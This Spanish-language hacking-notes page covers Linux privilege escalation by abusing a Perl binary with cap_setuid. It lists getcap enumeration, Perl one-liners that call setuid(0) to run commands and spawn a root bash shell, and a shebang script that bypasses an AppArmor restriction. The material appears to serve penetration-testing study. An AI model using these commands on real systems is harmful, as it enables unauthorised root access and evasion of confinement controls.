> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/capabilities/capabilities-perl-linux-privilege-escalation.md).

# Capacidades (Perl) - Escalada de privilegios en Linux

Notas de capacidades (Perl) para la escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación enfocada en informes.

## Qué es

Las capacidades de Linux dividen los privilegios de root en derechos granulares que pueden asignarse a binarios. Capacidades peligrosas como `cap_setuid+ep`, `cap_dac_read_search+ep`, o las capacidades de escritura de archivos, pueden eludir las restricciones normales de los usuarios. Esta página específica se centra en **Capacidades (Perl)** y mantiene práctico el flujo de explotación: identifica la condición, valídala de forma segura y luego ejecuta la carga útil mínima necesaria para demostrar el impacto.

## Enumeración

Empieza confirmando el contexto local y la configuración errónea exacta antes de ejecutar la ruta de explotación.

```bash
getcap -r / 2>/dev/null
```

## Ejemplos

### Explotación **capacidades** en Perl

{% embed url="<https://gtfobins.github.io/gtfobins/perl/#capabilities>" %}

Listar disponibles **capacidades**:

```bash
getcap -r / 2>/dev/null
```

Observamos que `perl` tiene permisos especiales.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-afda45ab60d8b5ed333d4c968a0f037a11494190%2Fimage%20(705).png?alt=media" alt=""><figcaption></figcaption></figure>

**Ejecutar un comando como root**

```bash
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
```

Obtenemos **root**.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b9fa47a9d77dac1fa7ee51c79709422f435e7eb2%2Fimage%20(706).png?alt=media" alt=""><figcaption></figcaption></figure>

### Evasión de AppArmor

```bash
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash -p";'
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16a94b8f72f1de824754d22ffc71cccdc067bd92%2Fimage%20(707).png?alt=media" alt=""><figcaption></figcaption></figure>

El `/usr/bin/perl` el binario está restringido por **AppArmor**

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2bf1784e1a8a847f0a45dd6597ef338633f11dd8%2Fimage%20(708).png?alt=media" alt=""><figcaption></figcaption></figure>

Usar un conocido [error de AppArmor](https://bugs.launchpad.net/zope3/+bug/191143) para eludir la restricción creando un script:

```basic
#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/bash";
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-20017ca05ead5deab49fe89c63d274a5b112e9df%2Fimage%20(710).png?alt=media" alt=""><figcaption></figcaption></figure>


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